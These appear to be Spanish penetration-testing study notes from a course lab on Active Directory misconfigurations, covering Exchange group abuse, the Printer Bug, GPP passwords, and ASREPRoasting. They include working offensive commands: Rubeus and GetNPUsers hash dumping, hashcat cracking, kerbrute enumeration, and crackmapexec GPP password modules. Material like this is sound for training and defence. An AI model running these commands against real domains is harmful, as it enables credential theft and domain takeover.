Miscellaneous Misconfigurations in Active Directory
Muchas configuraciones incorrectas pueden aparecer durante una evaluación de AD. Conocerlas te permite detectar vectores silenciosos y potentes que suelen pasar desapercibidos.
📡 Exchange Related Group Membership
🔐 Exchange Windows Permissions
Los miembros pueden escribir la DACL del dominio, lo que permite otorgarse DCSync, comprometiendo toda la red.
-
No es un grupo protegido.
-
Se abusa frecuentemente:
-
Mala configuración en la DACL del dominio.
-
Miembros del grupo Account Operators pueden agregarse aquí.
-
A veces incluye accidentalmente computer accounts.
-
📬 Organization Management
-
Acceso a todas las bandejas de correo.
-
Control total del OU:
Microsoft Exchange Security Groups
(incluye Exchange Windows Permissions).
⚡ PrivExchange
Cualquier usuario con buzón puede escalar a Domain Admin.
-
Explota el servicio PushSubscription.
-
Permite que Exchange (ejecutado como SYSTEM) se autentique hacia un host que controles.
-
Antes del parche, SYSTEM tenía WriteDACL sobre el dominio.
💥 Resultado:
Un usuario estándar → Domain Admin.
🖨️ Printer Bug (MS-RPRN)
Cualquier usuario puede forzar al spooler (SYSTEM) a autenticarse hacia tu equipo → Relaying a LDAP
Usos:
-
Obtener DCSync
-
Conceder RBCD
-
Atacar controladores en forest externas vulnerables
🔎 Enumeración
Import-Module .\SecurityAssessment.ps1
Get-SpoolStatus -ComputerName ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
🧨 MS14-068
Permitía falsificar un PAC válido y elevar a Domain Admin.
-
Explotación con:
-
Impacket
-
PyKEK
-
-
Mitigación: parche obligatorio
👀 Sniffing LDAP Credentials
-
Muchas aplicaciones exponen o permiten extraer credenciales LDAP.
-
Algunas muestran credenciales en texto claro.
-
Otras permiten "test connection" → puedes sniffear contraseña usando un listener.
🌐 Enumerando DNS con adidnsdump
adidnsdump -u inlanefreight\\forend ldap://172.16.5.5
-r fuerza resolución de hosts desconocidos.
Esto permite descubrir hosts “ocultos” como:
LOGISTICS → 172.16.5.240
🔍 Misconfiguraciones Comunes
📝 Passwords en Descripciones
Get-DomainUser * | Select samaccountname,description | Where {$_.Description -ne $null}
⚑ PASSWD_NOTREQD Flag
Este flag permite contraseñas muy cortas.
Perfecto para rápido password spraying.
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select samaccountname,useraccountcontrol

🗂️ Credenciales en SYSVOL Scripts
SYSVOL es accesible para todos los usuarios autenticados.
ls \\academy-ea-dc01\SYSVOL\INLANEFREIGHT.LOCAL\scripts
Ejemplo:
sUser = "Administrator" sPwd = "!ILFREIGHT_L0cALADmin!"
Luego:
crackmapexec smb --local-auth
🔐 Group Policy Preferences (GPP)
GPP almacenaba contraseñas en SYSVOL con el atributo cpassword
→ Cifradas con UNA CLAVE AES conocida (filtrada por Microsoft).
Ejemplo decrypt:
gpp-decrypt <cpassword>
Herramientas:
# Powershell
Get-GPPPassword.ps1
# CME
crackmapexec smb ... -M gpp_password
crackmapexec smb ... -M gpp_autologin
🔥 ASREPRoasting
Aplica a usuarios sin Kerberos Pre-Auth:
✔ Exposición silenciosa
✔ Sin necesidad de contraseñas
Enumeración PowerView
Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname,useraccountcontrol
Tenemos dos usuarios

Dump AS-REP
Rubeus.exe asreproast /user:ygroce /nowrap /format:hashcat

Crack
hashcat -m 18200 hash rockyou.txt

Kerbrute
kerbrute userenum -d inlanefreight.local --dc 172.16.5.5 users.txt
Impacket
GetNPUsers.py INLANEFREIGHT.LOCAL/ -dc-ip 172.16.5.5 -no-pass -usersfile users.txt